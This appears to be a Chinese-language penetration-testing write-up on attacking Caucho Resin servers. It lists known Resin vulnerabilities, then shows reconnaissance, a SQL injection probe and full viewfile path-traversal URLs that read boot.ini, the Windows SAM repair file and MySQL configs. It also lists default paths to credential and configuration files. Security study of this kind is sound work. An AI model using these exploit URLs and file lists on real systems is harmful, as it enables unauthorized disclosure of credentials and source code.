1 前言
记得有次面试,考官问道“你认为对Resin服务器发动攻击有难度吗?如果是你,会利用什么攻击方法呢?” ,很具体的技术细节,还记得回答是,“我认为针对Resin攻击是很容易的,当然要视具体的安全状况而定,完全的因人环境而异,如果是我选择对Resin对进行攻击,我会根据版本的漏洞列表,进行测试攻击。”考官一笑而过,估计给雷倒了。Resin提供了最快的Jsp/servets运行平台。在Java和JavaScrip的支持下,Resin可以为任务灵活选用合适的开发语言,Resin的一种先进的语言XSL(XML stylesheet language)可以使得形式和内容相分离。Resin以其良好的速度正在受到许多商业站点的欢迎。但其安全性却往往让人遗忘。
2 漏洞分析
正如老先生所说的,“世上本无路,走的人多也就成了路”,在漏洞面前来理解大概就能这样说了“世上本无漏洞,挖掘人多也就有了”,细数Resin漏洞如下:
2007-05-16 Caucho Resin多个远程信息泄露漏洞
2006-05-17 Caucho Resin viewfile远程文件及路径泄露漏洞
2004-02-13 Caucho Technology Resin源代码和目录列表泄露漏洞
2002-07-26 Caucho Technology Resin Server设备名远程路径泄露漏洞
2002-07-01 Caucho Resin WEB服务器程序远程路径泄露漏洞
2002-06-28 Caucho Technology Resin服务程序远程拒绝服务攻击漏洞
2001-02-26 Caucho Technology Resin 目录遍历漏洞
2000-11-24 Caucho Technology Resin 1.2 JSP 源码泄漏
从上面可以看出来,多数是文件和目录泄漏洞,在日常管理和安全设置能更有针对性,防止敏感信息泄露,无论是攻防都应该从以下方面去考虑:
1) 数据库的敏感信息泄漏
2) 操作系统的敏感信息泄漏
3) 脚本的敏感信息泄漏
4) Resin的敏感信泄漏
所以说,有针对性的研究和总结应用的漏洞,在攻防的角度,都具有很实际的价值。作为一个渗透手,一份完整的漏洞列表是如此的重要。
3 漏洞利用
在获取系统信息,一般用telnet或mstsc简单测试,或者常规扫描器,比如X-Scan、天镜、榕基。
看来没有前人种的小黄瓜了,完全是出于对人品的测试。
脚本信息获取
对WEB服务刺探,常用扫描器有wwwscan、wvs、appscan等,了解主机上的网站架构和网站目录是很关键的一步。对主机的80、8080端口刺探。
#wwwscan.exe www.test.com -p 8080 -m 10 -t 16
80端口居然什么都没有返回呀,访问目录:
看来系统管理员相当的自信喽!人品测试继续,分析一下返回的数据包:
由图可知:Resin的版本是3.0.21
对主机的另一个网站进行目录扫描,有点结果了。有个“admin_manage”目录存在,进入口进行注入行测试,提交“admin’ or ‘’=’”,结果却暴露其路径“D:\webtest\admin_manage\include\head.php”。
在PHP配置时,去除错误调试,用到的参数是display_errors,这个参数主要是帮助开发者定位和确定程序错误,直接修改php.ini文件,设置display_errors=Off。
数据库信息获取
针对数据库的探测,快速的方法有特定端口扫描、手工探测。当然也有常规的针对数据库的扫描工具不在本文的讨论范围。
端口探测
一般数据库都自己特定的端口,比如mysql的3306、Mssql的1433等,命令如下:
#nc –wl 3306
手工探测
手工探测最多用的大概是通过向网页提交畸形数据导致数据库直接暴错,根据返回的错误信息进行确认。另一种方法,就是通知各个数据库注释符的不一致来判别。
比如“;”“–”“/*”。
信息综合分析
通过上次的信息综合整理可得:
系统:windows 2003
数据库:mysql
Apache:2.2.6
PHP:5.2.4
主机上其中有使用PHP架设的站点,其路径是:
D:\webroot\admin_manage\include\head.php
攻击测试
信息泄漏漏洞
在2007年时候,Resin暴出远程信息泄露漏洞,其公告如下:
影响版本: Resin v3.1.0 –V.3.0.21 for Window
Resin for Windows实现上存在多个漏洞,远程攻击者可能利用此漏洞非授权获取敏感信息。Resin没有正确过滤通过URL传送的输入,允许远程攻击者通过在URL中提供有任意扩展名的DOS设备文件名从系统上的任意COM或LPT设备读取连续的数据流、通过目录遍历攻击泄露Web应用的WEB-INF目录中的文件内容,或通过包含有特殊字符的URL泄露到Caucho Resin服务器的完整系统路径。Resin的某个CGI程序实现上存在输入验证漏洞,远程攻击者可能利用此漏洞读取Web主目录下的任意文件,包括JSP源码或类文件。viewfile servlet可以无需参数在Web主目录中浏览任意文件。
3.5.1.2 测试过程
通过漏洞的描述可以知道,在漏洞利用需要特殊字符,“\../”的字符,或者利用viewfile servlet来对系统文件操作。测试提交URL:
列出了,Web-inf目录的文件,直接下class文件进行反Java文件。
介绍一个反Javar 的工具“Java Decompiler”,它由C++开发,支持对整个jar,Javar的编译。如图:
在编译后,没有发现敏感信息,直接用viewfile去读取目录下的主文件:
提交URL如下:
http://www.test.com/Resin-doc/viewfile/?file=index.Jsp
读取目录下的index.Jsp文件。
按程序的逻辑读取源文件,居然也没有发现敏感信息。继续去读取系统文件试试。
提交URL,读取系统文件:
http://www.test.com/Resin-doc/viewfile/?contextpath=C:\&servletpath=&file=boot.ini
居然成功了。再来读取系统文件,提交URL如下:
http://www.test.com/Resin-doc/viewfile/?contextpath=C:\windows\system32&servletpath=&file=cmd.exe
可以依次对敏感文件进行读取测试,一般的默认路径有:
Win:
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
Linux:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
依次提交语句如下:
http://www.test.com/Resin-doc/viewfile/?contextpath=c:\windows\repair\&servletpath=&file=sam
http://www.test.com/Resin-doc/viewfile/?contextpath=c:\windows\&servletpath=&file=my.ini
如图:
终于获取了些敏感信息了。当然直接读取另一个网站的源代码也是可以的。
提交读取语句:
http://www.test.com/Resin-doc/viewfile/?contextpath=D:\webroot\root\admin_manage\include\&servletpath=&file=head.php
读取源代码成功。本文仅作测试,希望能给大家在渗透时提供些思路。从测试还是可以看到系统管理员对安全设置的忽视。应用程序的补丁是安全防护的第一道门,而许多的系统管理员却不太愿意安装,正如安全短板的理论,一个木桶由许多块木板组成,如果这些木板长短不一,那么这个木桶的最大容量就取决于其中最短的那块木板了。
分享到:
相关推荐
1. **导入Resin服务器** - 打开Eclipse,点击菜单栏上的“Window” -> “Preferences”。 - 在打开的窗口中,展开“Server”选项,然后选择“Runtime Environments”。 - 点击右下角的“Add...”按钮,搜索并选择...
Resin 3.1.9是一款著名的Java应用服务器,它以其高效、稳定和易于扩展的特点,在Java开发者中广受青睐。源代码的开放使得我们有机会深入探究其内部工作机制,特别是如何实现J2EE接口,这对于我们提升技术能力、优化...
- 启动Nginx和Resin服务器,通过访问Nginx的公共IP或域名测试集群功能。 - 监控与优化:使用工具如Nginx的access.log和error.log,以及Resin的日志监控集群状态。根据性能指标调整Nginx和Resin的配置,如超时时间...
在Resin群集环境中,多台Resin服务器通过负载均衡技术共同处理请求,提高系统的可用性和可扩展性。 2. **Oracle数据库**: Oracle是全球最受欢迎的商业数据库管理系统之一,尤其在大型企业级应用中广泛应用。...
本文将详细介绍两种常见的搭建方法:方案一采用JDK1.5搭配Resin3.0手动搭建,方案二则是通过集成开发环境Eclipse或MyEclipse配置Resin服务器。 **方案一:JDK1.5 + Resin3.0 纯手工搭建** 1. **安装JDK1.5**: 首先...
#### 一、Resin 安装与启动 ##### 1.1 前置条件 - **操作系统兼容性**:Resin 支持 Windows、Unix、Linux 和 MacOSX 等多种操作系统。 - **硬件配置要求**:确保服务器具有足够的内存(建议至少 1GB)和处理器性能...
2. 配置虚拟主机:在httpd.conf或sites-available目录下的相应配置文件中,添加一个新的VirtualHost,指定Resin服务器的IP和端口。例如: ``` *:80> ServerName yourdomain.com ProxyPass / ...
为此,我们需要在Nginx的配置文件中添加一个针对Resin服务器的反向代理规则。 例如,以下是一个简单的配置示例: ```nginx server { listen 80; server_name example.com; location / { proxy_pass ...
这个压缩包“一个支持servlet的web服务器.rar”很可能包含了实现这一功能的源代码、配置文件或者是一个预编译好的服务器软件,允许开发者在本地环境中运行和测试Servlet应用。下面我们将深入探讨Servlet以及如何在...
本例中提到的是基于Java实现的数据库连接池,并在Resin和Tomcat两个流行的Java应用服务器上进行了测试。 Resin是一款轻量级、高性能的Java应用服务器,尤其适合中小型企业和开发者使用。它支持Servlet、JSP、EJB...
在IIS(Internet Information Services)上,为了满足特定的需求,比如维持旧项目或者测试新功能,有时我们需要同时集成并运行不同版本的Resin服务器。Resin是一款轻量级的Java应用服务器,尤其适合处理JSP和Servlet...
Resin-3.0.21 是一个古老但经典的Java应用服务器,主要用于部署和运行Web服务。这个版本的Resin以其轻量级、无需安装的特点而受到开发者的青睐,尤其适合那些希望快速启动并运行Web应用程序的用户。Resin作为一个...
压力测试的成功标准包括:场景执行完毕无错误,所有用户通过测试,且服务器(如Resin)在整个过程中保持正常运行,未出现错误或异常。如果Resin报错,可能需要进一步分析脚本或服务器配置,找出故障根源。 总结来说...
#### 九、一次RESIN服务器测试实例 **1.32 漏洞分析** RESIN服务器可能存在以下漏洞: - 文件上传漏洞:允许上传恶意文件。 - 配置不当:暴露了敏感信息或未受保护的服务。 **1.33 漏洞利用** 漏洞利用过程包括...
3. 设置虚拟主机:在Apache的配置中,为Resin创建一个虚拟主机,指定Resin服务器的IP地址和端口。 4. 配置Resin:在Resin的conf/resin.xml中,设置监听端口,并确保其与Apache配置中的端口一致。 5. 测试配置:重启...
安装完成后,需要将VXML应用部署到Resin服务器上,设置好相关的配置参数,如监听端口、数据库连接等。一旦配置完成,IVR系统就可以接受电话呼叫,执行VXML脚本,与用户进行语音交互。 IVR系统的设计和实现涉及到...
作为一款功能强大的集成开发环境(IDE),不仅提供了丰富的开发工具,还特别设计了对多种应用服务器的支持,使得开发者能够无缝地将他们的J2EE项目部署到超过20种不同的应用服务器上,包括JBoss、Jetty、Jonas、JRun...
- 特别是在大数据量处理场景下,如大量查询返回结果时,如果一次性加载过多数据到内存,可能会导致内存溢出。 #### 具体案例分析 1. **Hibernate查询优化**: - 在使用Hibernate进行数据库查询时,如果一次性...